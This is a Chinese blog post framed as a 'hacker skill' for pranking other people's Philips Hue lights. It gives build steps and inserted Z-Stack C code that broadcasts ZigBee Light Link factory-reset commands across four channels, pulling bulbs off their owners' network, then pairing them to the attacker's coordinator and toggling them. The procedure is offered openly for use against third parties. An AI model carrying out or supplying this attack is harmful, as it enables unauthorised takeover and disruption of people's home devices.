【黑客技能】教你恶搞使用飞利浦HUE的用户。
物联网神教 2016-09-28 10:16:23 飞利浦HUE是基于ZigBee ZLL协议。在ZigBee中,专门定制了应用层的ZCL,ZCL根据ZigBee的Profile ID和cluster ID,订制了不同类型的命令。其中ZHA指令集就是针对的传感器的操作,而ZLL指令集是组网。
ZLL的组网是针对传统ZigBee网络的关联组网的不足,在应用层上强制干预组网。ZLL指令被分配到ZigBee的254端口进行收发,这个端口是用于Inter PAN通信的。一个ZigBee设备,即使没有联网也能收发Inter PAN消息。
话不多说,首先,安装Z-stack ZLL的协议栈,现在最新版是1.0.2版。需要在IAR 8.20下打开。
然后使用Sample Remote这个工程,选择ARC这个编译子工程,如果你没有TI官方开发板,则需要修改按键驱动。最终要定位到按键处理函数zllSampleRemote_HandleKeys,保证SEND_FACTORY_RESET_KEY这个键值可以被触发。
进入函数zllInitiator_ResetToFNSelectedTarget,添加以下代码
if( selectedTarget.rxChannel == 0x0B )
{
selectedTarget.rxChannel = 0x0F;
}
else if( selectedTarget.rxChannel == 0x0F )
{
selectedTarget.rxChannel = 0x14;
}
else if( selectedTarget.rxChannel == 0x14 )
{
selectedTarget.rxChannel = 0x19;
}
else
{
selectedTarget.rxChannel = 0x0B;
}
//osal_memcpy(selectedTarget.srcAddr.addr.extAddr, destExt, 8);
selectedTarget.srcAddr.addr.shortAddr = 0xFFFF;
selectedTarget.srcAddr.addrMode = afAddr16Bit;
selectedTarget.srcAddr.panId = 0xFFFF;
selectedTarget.srcAddr.endPoint = STUBAPS_INTER_PAN_EP;
zll_SetChannel( selectedTarget.rxChannel );
这样,让按键每次触发时,轮流在11,15,20,25四个信道轮流广播ZLL的恢复出厂命令,这样,就能让HUE脱离原有网络。
然后再运行一个ZigBee协调器的工程,将Z-stack Home工程中的协调器烧录到开发板中,然后打开入网允许,就能找到飞利浦HUE的灯了。
然后再用协调器发送一个ZCL_CLUSTER_ID_GEN_ON_OFF命令过去,看看发生什么效果。